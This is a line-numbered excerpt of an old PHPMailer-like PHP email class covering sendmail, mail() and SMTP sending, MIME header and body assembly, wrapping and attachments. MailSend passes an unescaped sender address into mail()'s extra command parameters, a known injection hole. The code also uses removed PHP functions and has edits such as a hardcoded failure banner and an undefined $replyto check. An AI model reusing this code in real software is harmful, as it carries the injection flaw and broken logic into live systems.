  1813.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1814.       $this->SetError($this->Lang('provide_address'));
  1815.       return false;
  1816.     }
  1817.  
  1818.     /* Set whether the message is multipart/alternative */
  1819.     if(!empty($this->AltBody)) {
  1820.       $this->ContentType = 'multipart/alternative';
  1821.     }
  1822.  
  1823.     $this->error_count = 0; // reset errors
  1824.     $this->SetMessageType();
  1825.     $header .= $this->CreateHeader();
  1826.     $body = $this->CreateBody();
  1827.  
  1828.     if($body == '') {
  1829.       return false;
  1830.     }
  1831.  
  1832.     /* Choose the mailer */
  1833.     switch($this->Mailer) {
  1834.       case 'sendmail':
  1835.         $result = $this->SendmailSend($header, $body);
  1836.         break;
  1837.       case 'smtp':
  1838.         $result = $this->SmtpSend($header, $body);
  1839.         break;
  1840.       case 'mail':
  1841.         $result = $this->MailSend($header, $body);
  1842.         break;
  1843.       default:
  1844.         $result = $this->MailSend($header, $body);
  1845.         break;
  1846.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1847.         //$result = false;
  1848.         //break;
  1849.     }
  1850.  
  1851.     return $result;
  1852.   }
  1853.  
  1854.   /**
  1855.    * Sends mail using the $Sendmail program.
  1856.    * @access private
  1857.    * @return bool
  1858.    */
  1859.   function SendmailSend($header, $body) {
  1860.     if ($this->Sender != '') {
  1861.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1862.     } else {
  1863.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1864.     }
  1865.  
  1866.     if(!@$mail = popen($sendmail, 'w')) {
  1867.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1868.       return false;
  1869.     }
  1870.  
  1871.     fputs($mail, $header);
  1872.     fputs($mail, $body);
  1873.  
  1874.     $result = pclose($mail);
  1875.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1876.       $result = $result >> 8 & 0xFF;
  1877.     }
  1878.     if($result != 0) {
  1879.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1880.       return false;
  1881.     }
  1882.     return true;
  1883.   }
  1884.  
  1885.   /**
  1886.    * Sends mail using the PHP mail() function.
  1887.    * @access private
  1888.    * @return bool
  1889.    */
  1890.   function MailSend($header, $body) {
  1891.  
  1892.     $to = '';
  1893.     for($i = 0; $i < count($this->to); $i++) {
  1894.       if($i != 0) { $to .= ', '; }
  1895.       $to .= $this->AddrFormat($this->to[$i]);
  1896.     }
  1897.  
  1898.     $toArr = split(',', $to);
  1899.  
  1900.     $params = sprintf("-oi -f %s", $this->Sender);
  1901.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1902.       $old_from = ini_get('sendmail_from');
  1903.       ini_set('sendmail_from', $this->Sender);
  1904.       if ($this->SingleTo === true && count($toArr) > 1) {
  1905.         foreach ($toArr as $key => $val) {
  1906.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1907.         }
  1908.       } else {
  1909.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1910.       }
  1911.     } else {
  1912.       if ($this->SingleTo === true && count($toArr) > 1) {
  1913.         foreach ($toArr as $key => $val) {
  1914.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1915.         }
  1916.       } else {
  1917.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1918.       }
  1919.     }
  1920.  
  1921.     if (isset($old_from)) {
  1922.       ini_set('sendmail_from', $old_from);
  1923.     }
  1924.  
  1925.     if(!$rt) {
  1926.       $this->SetError($this->Lang('instantiate'));
  1927.       return false;
  1928.     }
  1929.  
  1930.     return true;
  1931.   }
  1932.  
  1933.   /**
  1934.    * Sends mail via SMTP using PhpSMTP (Author:
  1935.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1936.    * bad MAIL FROM, RCPT, or DATA input.
  1937.    * @access private
  1938.    * @return bool
  1939.    */
  1940.   function SmtpSend($header, $body) {
  1941.     $error = '';
  1942.     $bad_rcpt = array();
  1943.  
  1944.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1945.       return false;
  1946.     }
  1947.  
  1948.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1949.     if(!$this->smtp->Mail($smtp_from)) {
  1950.       $error = $this->Lang('from_failed') . $smtp_from;
  1951.       $this->SetError($error);
  1952.       $this->smtp->Reset();
  1953.       return false;
  1954.     }
  1955.  
  1956.     /* Attempt to send attach all recipients */
  1957.     for($i = 0; $i < count($this->to); $i++) {
  1958.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1959.         $bad_rcpt[] = $this->to[$i][0];
  1960.       }
  1961.     }
  1962.     for($i = 0; $i < count($this->cc); $i++) {
  1963.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1964.         $bad_rcpt[] = $this->cc[$i][0];
  1965.       }
  1966.     }
  1967.     for($i = 0; $i < count($this->bcc); $i++) {
  1968.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1969.         $bad_rcpt[] = $this->bcc[$i][0];
  1970.       }
  1971.     }
  1972.  
  1973.     if(count($bad_rcpt) > 0) { // Create error message
  1974.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1975.         if($i != 0) {
  1976.           $error .= ', ';
  1977.         }
  1978.         $error .= $bad_rcpt[$i];
  1979.  
  1980.       }
  1981.       $error = $this->Lang('recipients_failed') . $error;
  1982.       $this->SetError($error);
  1983.       $this->smtp->Reset();
  1984.       return false;
  1985.     }
  1986.  
  1987.     if(!$this->smtp->Data($header . $body)) {
  1988.       $this->SetError($this->Lang('data_not_accepted'));
  1989.       $this->smtp->Reset();
  1990.       return false;
  1991.     }
  1992.     if($this->SMTPKeepAlive == true) {
  1993.       $this->smtp->Reset();
  1994.     } else {
  1995.       $this->SmtpClose();
  1996.     }
  1997.  
  1998.     return true;
  1999.   }
  2000.  
  2001.   /**
  2002.    * Initiates a connection to an SMTP server.  Returns false if the
  2003.    * operation failed.
  2004.    * @access private
  2005.    * @return bool
  2006.    */
  2007.   function SmtpConnect() {
  2008.     if($this->smtp == NULL) {
  2009.       $this->smtp = new SMTP();
  2010.     }
  2011.  
  2012.     $this->smtp->do_debug = $this->SMTPDebug;
  2013.     $hosts = explode(';', $this->Host);
  2014.     $index = 0;
  2015.     $connection = ($this->smtp->Connected());
  2016.  
  2017.     /* Retry while there is no connection */
  2018.     while($index < count($hosts) && $connection == false) {
  2019.       $hostinfo = array();
  2020.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2021.         $host = $hostinfo[1];
  2022.         $port = $hostinfo[2];
  2023.       } else {
  2024.         $host = $hosts[$index];
  2025.         $port = $this->Port;
  2026.       }
  2027.  
  2028.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2029.         if ($this->Helo != '') {
  2030.           $this->smtp->Hello($this->Helo);
  2031.         } else {
  2032.           $this->smtp->Hello($this->ServerHostname());
  2033.         }
  2034.  
  2035.         $connection = true;
  2036.         if($this->SMTPAuth) {
  2037.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2038.             $this->SetError($this->Lang('authenticate'));
  2039.             $this->smtp->Reset();
  2040.             $connection = false;
  2041.           }
  2042.         }
  2043.       }
  2044.       $index++;
  2045.     }
  2046.     if(!$connection) {
  2047.       $this->SetError($this->Lang('connect_host'));
  2048.     }
  2049.  
  2050.     return $connection;
  2051.   }
  2052.  
  2053.   /**
  2054.    * Closes the active SMTP session if one exists.
  2055.    * @return void
  2056.    */
  2057.   function SmtpClose() {
  2058.     if($this->smtp != NULL) {
  2059.       if($this->smtp->Connected()) {
  2060.         $this->smtp->Quit();
  2061.         $this->smtp->Close();
  2062.       }
  2063.     }
  2064.   }
  2065.  
  2066.   /**
  2067.    * Sets the language for all class error messages.  Returns false
  2068.    * if it cannot load the language file.  The default language type
  2069.    * is English.
  2070.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2071.    * @param string $lang_path Path to the language file directory
  2072.    * @access public
  2073.    * @return bool
  2074.    */
  2075.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2076.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2077.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2078.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2079.       include($lang_path.'phpmailer.lang-en.php');
  2080.     } else {
  2081.       $this->SetError('Could not load language file');
  2082.       return false;
  2083.     }
  2084.     $this->language = $PHPMAILER_LANG;
  2085.  
  2086.     return true;
  2087.   }
  2088.  
  2089.   /////////////////////////////////////////////////
  2090.   // METHODS, MESSAGE CREATION
  2091.   /////////////////////////////////////////////////
  2092.  
  2093.   /**
  2094.    * Creates recipient headers.
  2095.    * @access private
  2096.    * @return string
  2097.    */
  2098.   function AddrAppend($type, $addr) {
  2099.     $addr_str = $type . ': ';
  2100.     $addr_str .= $this->AddrFormat($addr[0]);
  2101.     if(count($addr) > 1) {
  2102.       for($i = 1; $i < count($addr); $i++) {
  2103.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2104.       }
  2105.     }
  2106.     $addr_str .= $this->LE;
  2107.  
  2108.     return $addr_str;
  2109.   }
  2110.  
  2111.   /**
  2112.    * Formats an address correctly.
  2113.    * @access private
  2114.    * @return string
  2115.    */
  2116.   function AddrFormat($addr) {
  2117.     if(empty($addr[1])) {
  2118.       $formatted = $this->SecureHeader($addr[0]);
  2119.     } else {
  2120.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2121.     }
  2122.  
  2123.     return $formatted;
  2124.   }
  2125.  
  2126.   /**
  2127.    * Wraps message for use with mailers that do not
  2128.    * automatically perform wrapping and for quoted-printable.
  2129.    * Original written by philippe.
  2130.    * @access private
  2131.    * @return string
  2132.    */
  2133.   function WrapText($message, $length, $qp_mode = false) {
  2134.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2135.     // If utf-8 encoding is used, we will need to make sure we don't
  2136.     // split multibyte characters when we wrap
  2137.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2138.  
  2139.     $message = $this->FixEOL($message);
  2140.     if (substr($message, -1) == $this->LE) {
  2141.       $message = substr($message, 0, -1);
  2142.     }
  2143.  
  2144.     $line = explode($this->LE, $message);
  2145.     $message = '';
  2146.     for ($i=0 ;$i < count($line); $i++) {
  2147.       $line_part = explode(' ', $line[$i]);
  2148.       $buf = '';
  2149.       for ($e = 0; $e<count($line_part); $e++) {
  2150.         $word = $line_part[$e];
  2151.         if ($qp_mode and (strlen($word) > $length)) {
  2152.           $space_left = $length - strlen($buf) - 1;
  2153.           if ($e != 0) {
  2154.             if ($space_left > 20) {
  2155.               $len = $space_left;
  2156.               if ($is_utf8) {
  2157.                 $len = $this->UTF8CharBoundary($word, $len);
  2158.               } elseif (substr($word, $len - 1, 1) == "=") {
  2159.                 $len--;
  2160.               } elseif (substr($word, $len - 2, 1) == "=") {
  2161.                 $len -= 2;
  2162.               }
  2163.               $part = substr($word, 0, $len);
  2164.               $word = substr($word, $len);
  2165.               $buf .= ' ' . $part;
  2166.               $message .= $buf . sprintf("=%s", $this->LE);
  2167.             } else {
  2168.               $message .= $buf . $soft_break;
  2169.             }
  2170.             $buf = '';
  2171.           }
  2172.           while (strlen($word) > 0) {
  2173.             $len = $length;
  2174.             if ($is_utf8) {
  2175.               $len = $this->UTF8CharBoundary($word, $len);
  2176.             } elseif (substr($word, $len - 1, 1) == "=") {
  2177.               $len--;
  2178.             } elseif (substr($word, $len - 2, 1) == "=") {
  2179.               $len -= 2;
  2180.             }
  2181.             $part = substr($word, 0, $len);
  2182.             $word = substr($word, $len);
  2183.  
  2184.             if (strlen($word) > 0) {
  2185.               $message .= $part . sprintf("=%s", $this->LE);
  2186.             } else {
  2187.               $buf = $part;
  2188.             }
  2189.           }
  2190.         } else {
  2191.           $buf_o = $buf;
  2192.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2193.  
  2194.           if (strlen($buf) > $length and $buf_o != '') {
  2195.             $message .= $buf_o . $soft_break;
  2196.             $buf = $word;
  2197.           }
  2198.         }
  2199.       }
  2200.       $message .= $buf . $this->LE;
  2201.     }
  2202.  
  2203.     return $message;
  2204.   }
  2205.  
  2206.   /**
  2207.    * Finds last character boundary prior to maxLength in a utf-8
  2208.    * quoted (printable) encoded string.
  2209.    * Original written by Colin Brown.
  2210.    * @access private
  2211.    * @param string $encodedText utf-8 QP text
  2212.    * @param int    $maxLength   find last character boundary prior to this length
  2213.    * @return int
  2214.    */
  2215.   function UTF8CharBoundary($encodedText, $maxLength) {
  2216.     $foundSplitPos = false;
  2217.     $lookBack = 3;
  2218.     while (!$foundSplitPos) {
  2219.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2220.       $encodedCharPos = strpos($lastChunk, "=");
  2221.       if ($encodedCharPos !== false) {
  2222.         // Found start of encoded character byte within $lookBack block.
  2223.         // Check the encoded byte value (the 2 chars after the '=')
  2224.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2225.         $dec = hexdec($hex);
  2226.         if ($dec < 128) { // Single byte character.
  2227.           // If the encoded char was found at pos 0, it will fit
  2228.           // otherwise reduce maxLength to start of the encoded char
  2229.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2230.           $maxLength - ($lookBack - $encodedCharPos);
  2231.           $foundSplitPos = true;
  2232.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2233.           // Reduce maxLength to split at start of character
  2234.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2235.           $foundSplitPos = true;
  2236.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2237.           $lookBack += 3;
  2238.         }
  2239.       } else {
  2240.         // No encoded character found
  2241.         $foundSplitPos = true;
  2242.       }
  2243.     }
  2244.     return $maxLength;
  2245.   }
  2246.  
  2247.   /**
  2248.    * Set the body wrapping.
  2249.    * @access private
  2250.    * @return void
  2251.    */
  2252.   function SetWordWrap() {
  2253.     if($this->WordWrap < 1) {
  2254.       return;
  2255.     }
  2256.  
  2257.     switch($this->message_type) {
  2258.       case 'alt':
  2259.         /* fall through */
  2260.       case 'alt_attachments':
  2261.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2262.         break;
  2263.       default:
  2264.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2265.         break;
  2266.     }
  2267.   }
  2268.  
  2269.   /**
  2270.    * Assembles message header.
  2271.    * @access private
  2272.    * @return string
  2273.    */
  2274.   function CreateHeader() {
  2275.     $result = '';
  2276.  
  2277.     /* Set the boundaries */
  2278.     $uniq_id = md5(uniqid(time()));
  2279.     $this->boundary[1] = 'b1_' . $uniq_id;
  2280.     $this->boundary[2] = 'b2_' . $uniq_id;
  2281.  
  2282.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2283.     if($this->Sender == '') {
  2284.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2285.     } else {
  2286.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2287.     }
  2288.  
  2289.     /* To be created automatically by mail() */
  2290.     if($this->Mailer != 'mail') {
  2291.       if(count($this->to) > 0) {
  2292.         $result .= $this->AddrAppend('To', $this->to);
  2293.       } elseif (count($this->cc) == 0) {
  2294.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2295.       }
  2296.       if(count($this->cc) > 0) {
  2297.         $result .= $this->AddrAppend('Cc', $this->cc);
  2298.       }
  2299.     }
  2300.  
  2301.     $from = array();
  2302.     $from[0][0] = trim($this->From);
  2303.     $from[0][1] = $this->FromName;
  2304.     $result .= $this->AddrAppend('From', $from);
  2305.  
  2306.     /* sendmail and mail() extract Cc from the header before sending */
  2307.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2308.       $result .= $this->AddrAppend('Cc', $this->cc);
  2309.     }
  2310.  
  2311.     /* sendmail and mail() extract Bcc from the header before sending */
  2312.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2313.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2314.     }
  2315.     if($replyto != "")
  2316.     {
  2317.     if(count($this->ReplyTo) > 0) {
  2318.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2319.     }
  2320.     }
  2321.     /* mail() sets the subject itself */
  2322.     if($this->Mailer != 'mail') {
  2323.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2324.     }
  2325.  
  2326.     if($this->MessageID != '') {
  2327.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2328.     } else {
  2329.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2330.     }
  2331.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2332.     if($this->ConfirmReadingTo != '') {
  2333.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2334.     }
  2335.  
  2336.     // Add custom headers
  2337.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2338.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2339.     }
  2340.     if (!$this->sign_key_file) {
  2341.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2342.       $result .= $this->GetMailMIME();
  2343.     }
  2344.  
  2345.     return $result;
  2346.   }
  2347.  
  2348.   /**
  2349.    * Returns the message MIME.
  2350.    * @access private
  2351.    * @return string
  2352.    */
  2353.   function GetMailMIME() {
  2354.     $result = '';
  2355.     switch($this->message_type) {
  2356.       case 'plain':
  2357.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2358.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2359.         break;
  2360.       case 'attachments':
  2361.         /* fall through */
  2362.       case 'alt_attachments':
  2363.         if($this->InlineImageExists()){
  2364.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2365.         } else {
  2366.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2367.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2368.         }
  2369.         break;
  2370.       case 'alt':
  2371.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2372.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2373.         break;
  2374.     }
  2375.  
  2376.     if($this->Mailer != 'mail') {
  2377.       $result .= $this->LE.$this->LE;
  2378.     }
  2379.  
  2380.     return $result;
  2381.   }
  2382.  
  2383.   /**
  2384.    * Assembles the message body.  Returns an empty string on failure.
  2385.    * @access private
  2386.    * @return string
  2387.    */
  2388.   function CreateBody() {
  2389.     $result = '';
  2390.     if ($this->sign_key_file) {
  2391.       $result .= $this->GetMailMIME();
  2392.     }
  2393.  
  2394.     $this->SetWordWrap();
  2395.  
  2396.     switch($this->message_type) {
  2397.       case 'alt':
  2398.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2399.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2400.         $result .= $this->LE.$this->LE;
  2401.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2402.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2403.         $result .= $this->LE.$this->LE;
  2404.         $result .= $this->EndBoundary($this->boundary[1]);
  2405.         break;
  2406.       case 'plain':
  2407.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2408.         break;
  2409.       case 'attachments':
  2410.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2411.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2412.         $result .= $this->LE;
  2413.         $result .= $this->AttachAll();
  2414.         break;
  2415.       case 'alt_attachments':
  2416.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2417.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2418.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2419.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2420.         $result .= $this->LE.$this->LE;
  2421.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2422.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2423.         $result .= $this->LE.$this->LE;
  2424.         $result .= $this->EndBoundary($this->boundary[2]);
  2425.         $result .= $this->AttachAll();
  2426.         break;
  2427.     }
  2428.  
  2429.     if($this->IsError()) {
  2430.       $result = '';
  2431.     } else if ($this->sign_key_file) {
  2432.       $file = tempnam("", "mail");
  2433.       $fp = fopen($file, "w");
  2434.       fwrite($fp, $result);
  2435.       fclose($fp);
  2436.       $signed = tempnam("", "signed");
  2437.  
  2438.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2439.         $fp = fopen($signed, "r");
  2440.         $result = fread($fp, filesize($this->sign_key_file));
  2441.         fclose($fp);
  2442.       } else {
  2443.         $this->SetError($this->Lang("signing").openssl_error_string());
  2444.         $result = '';
  2445.       }
  2446.  
  2447.       unlink($file);
  2448.       unlink($signed);
  2449.     }
  2450.  
  2451.     return $result;
  2452.   }
  2453.  
  2454.   /**
  2455.    * Returns the start of a message boundary.
  2456.    * @access private
  2457.    */
  2458.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2459.     $result = '';
  2460.     if($charSet == '') {
  2461.       $charSet = $this->CharSet;
  2462.     }
  2463.     if($contentType == '') {
  2464.       $contentType = $this->ContentType;
  2465.     }
  2466.     if($encoding == '') {
  2467.       $encoding = $this->Encoding;
  2468.     }
  2469.     $result .= $this->TextLine('--' . $boundary);
  2470.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2471.     $result .= $this->LE;
  2472.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2473.     $result .= $this->LE;
  2474.  
  2475.     return $result;
  2476.   }
  2477.  
  2478.   /**
  2479.    * Returns the end of a message boundary.
  2480.    * @access private
  2481.    */
  2482.   function EndBoundary($boundary) {
  2483.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2484.   }
  2485.  
  2486.   /**
  2487.    * Sets the message type.
  2488.    * @access private
  2489.    * @return void
  2490.    */
  2491.   function SetMessageType() {
  2492.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2493.       $this->message_type = 'plain';
  2494.     } else {
  2495.       if(count($this->attachment) > 0) {
  2496.         $this->message_type = 'attachments';
  2497.       }
  2498.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2499.         $this->message_type = 'alt';
  2500.       }
  2501.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2502.         $this->message_type = 'alt_attachments';
  2503.       }
  2504.     }
  2505.   }
  2506.  
  2507.   /* Returns a formatted header line.
  2508.    * @access private
  2509.    * @return string
  2510.    */
  2511.   function HeaderLine($name, $value) {
  2512.     return $name . ': ' . $value . $this->LE;
  2513.   }
  2514.  
  2515.   /**
  2516.    * Returns a formatted mail line.
  2517.    * @access private
  2518.    * @return string
  2519.    */
  2520.   function TextLine($value) {
  2521.     return $value . $this->LE;
  2522.   }
  2523.  
  2524.   /////////////////////////////////////////////////
  2525.   // CLASS METHODS, ATTACHMENTS
  2526.   /////////////////////////////////////////////////
  2527.  
  2528.   /**
  2529.    * Adds an attachment from a path on the filesystem.
  2530.    * Returns false if the file could not be found
  2531.    * or accessed.
  2532.    * @param string $path Path to the attachment.
  2533.    * @param string $name Overrides the attachment name.
  2534.    * @param string $encoding File encoding (see $Encoding).
  2535.    * @param string $type File extension (MIME) type.
  2536.    * @return bool
  2537.    */
  2538.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2539.     if(!@is_file($path)) {
  2540.       $this->SetError($this->Lang('file_access') . $path);
  2541.       return false;
  2542.     }
  2543.  
  2544.     $filename = basename($path);
  2545.     if($name == '') {
  2546.       $name = $filename;
  2547.     }
  2548.  
  2549.     $cur = count($this->attachment);
  2550.     $this->attachment[$cur][0] = $path;
  2551.     $this->attachment[$cur][1] = $filename;
  2552.     $this->attachment[$cur][2] = $name;
  2553.     $this->attachment[$cur][3] = $encoding;
  2554.     $this->attachment[$cur][4] = $type;
  2555.     $this->attachment[$cur][5] = false; // isStringAttachment
  2556.     $this->attachment[$cur][6] = 'attachment';
  2557.     $this->attachment[$cur][7] = 0;
  2558.  
  2559.     return true;
  2560.   }
  2561.  
  2562.   /**
  2563.    * Attaches all fs, string, and binary attachments to the message.
  2564.    * Returns an empty string on failure.
  2565.    * @access private
  2566.    * @return string
  2567.    */
  2568.   function AttachAll() {
  2569.     /* Return text of body */
  2570.     $mime = array();
  2571.  
  2572.     /* Add all attachments */
  2573.     for($i = 0; $i < count($this->attachment); $i++) {
  2574.       /* Check for string attachment */
  2575.       $bString = $this->attachment[$i][5];
  2576.       if ($bString) {
  2577.         $string = $this->attachment[$i][0];
  2578.       } else {
  2579.         $path = $this->attachment[$i][0];
  2580.       }
  2581.  
  2582.       $filename    = $this->attachment[$i][1];
  2583.       $name        = $this->attachment[$i][2];
  2584.       $encoding    = $this->attachment[$i][3];
  2585.       $type        = $this->attachment[$i][4];
  2586.       $disposition = $this->attachment[$i][6];
  2587.       $cid         = $this->attachment[$i][7];
  2588.  
  2589.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2590.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2591.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2592.  
  2593.       if($disposition == 'inline') {
  2594.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2595.       }
  2596.  
  2597.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2598.  
  2599.       /* Encode as string attachment */
  2600.       if($bString) {
  2601.         $mime[] = $this->EncodeString($string, $encoding);
  2602.         if($this->IsError()) {
  2603.           return '';
  2604.         }
  2605.         $mime[] = $this->LE.$this->LE;
  2606.       } else {
  2607.         $mime[] = $this->EncodeFile($path, $encoding);
  2608.         if($this->IsError()) {
  2609.           return '';
  2610.         }
  2611.         $mime[] = $this->LE.$this->LE;
  2612.       }
  2613.     }
  2614.  
  2615.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2616.  
  2617.     return join('', $mime);
  2618.   }
  2619.  
  2620.   /**
  2621.    * Encodes attachment in requested format.  Returns an
  2622.    * empty string on failure.
  2623.    * @access private
  2624.    * @return string
  2625.    */
  2626.   function EncodeFile ($path, $encoding = 'base64') {
  2627.     if(!@$fd = fopen($path, 'rb')) {
  2628.       $this->SetError($this->Lang('file_open') . $path);
  2629.       return '';
  2630.     }
  2631.     $magic_quotes = get_magic_quotes_runtime();
  2632.     set_magic_quotes_runtime(0);
  2633.     $file_buffer = fread($fd, filesize($path));
  2634.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2635.     fclose($fd);
  2636.     set_magic_quotes_runtime($magic_quotes);
  2637.  
  2638.     return $file_buffer;
  2639.   }
  2640.  
  2641.   /**
  2642.    * Encodes string to requested format. Returns an
  2643.    * empty string on failure.
  2644.    * @access private
  2645.    * @return string
  2646.    */
  2647.   function EncodeString ($str, $encoding = 'base64') {
  2648.     $encoded = '';
  2649.     switch(strtolower($encoding)) {
  2650.       case 'base64':
  2651.         /* chunk_split is found in PHP >= 3.0.6 */
  2652.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2653.         break;
  2654.       case '7bit':
  2655.       case '8bit':
  2656.         $encoded = $this->FixEOL($str);
  2657.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2658.           $encoded .= $this->LE;
  2659.         break;
  2660.       case 'binary':
  2661.         $encoded = $str;
  2662.         break;
  2663.       case 'quoted-printable':
  2664.         $encoded = $this->EncodeQP($str);
  2665.         break;
  2666.       default:
  2667.         $this->SetError($this->Lang('encoding') . $encoding);
  2668.         break;
  2669.     }
  2670.     return $encoded;
  2671.   }
  2672.  
  2673.   /**
  2674.    * Encode a header string to best of Q, B, quoted or none.
  2675.    * @access private
  2676.    * @return string
  2677.    */
  2678.   function EncodeHeader ($str, $position = 'text') {
  2679.     $x = 0;
  2680.  
  2681.     switch (strtolower($position)) {
  2682.       case 'phrase':
  2683.         if (!preg_match('/[\200-\377]/', $str)) {
  2684.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2685.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2686.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2687.             return ($encoded);
  2688.           } else {
  2689.             return ("\"$encoded\"");
  2690.           }
  2691.         }
  2692.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2693.         break;
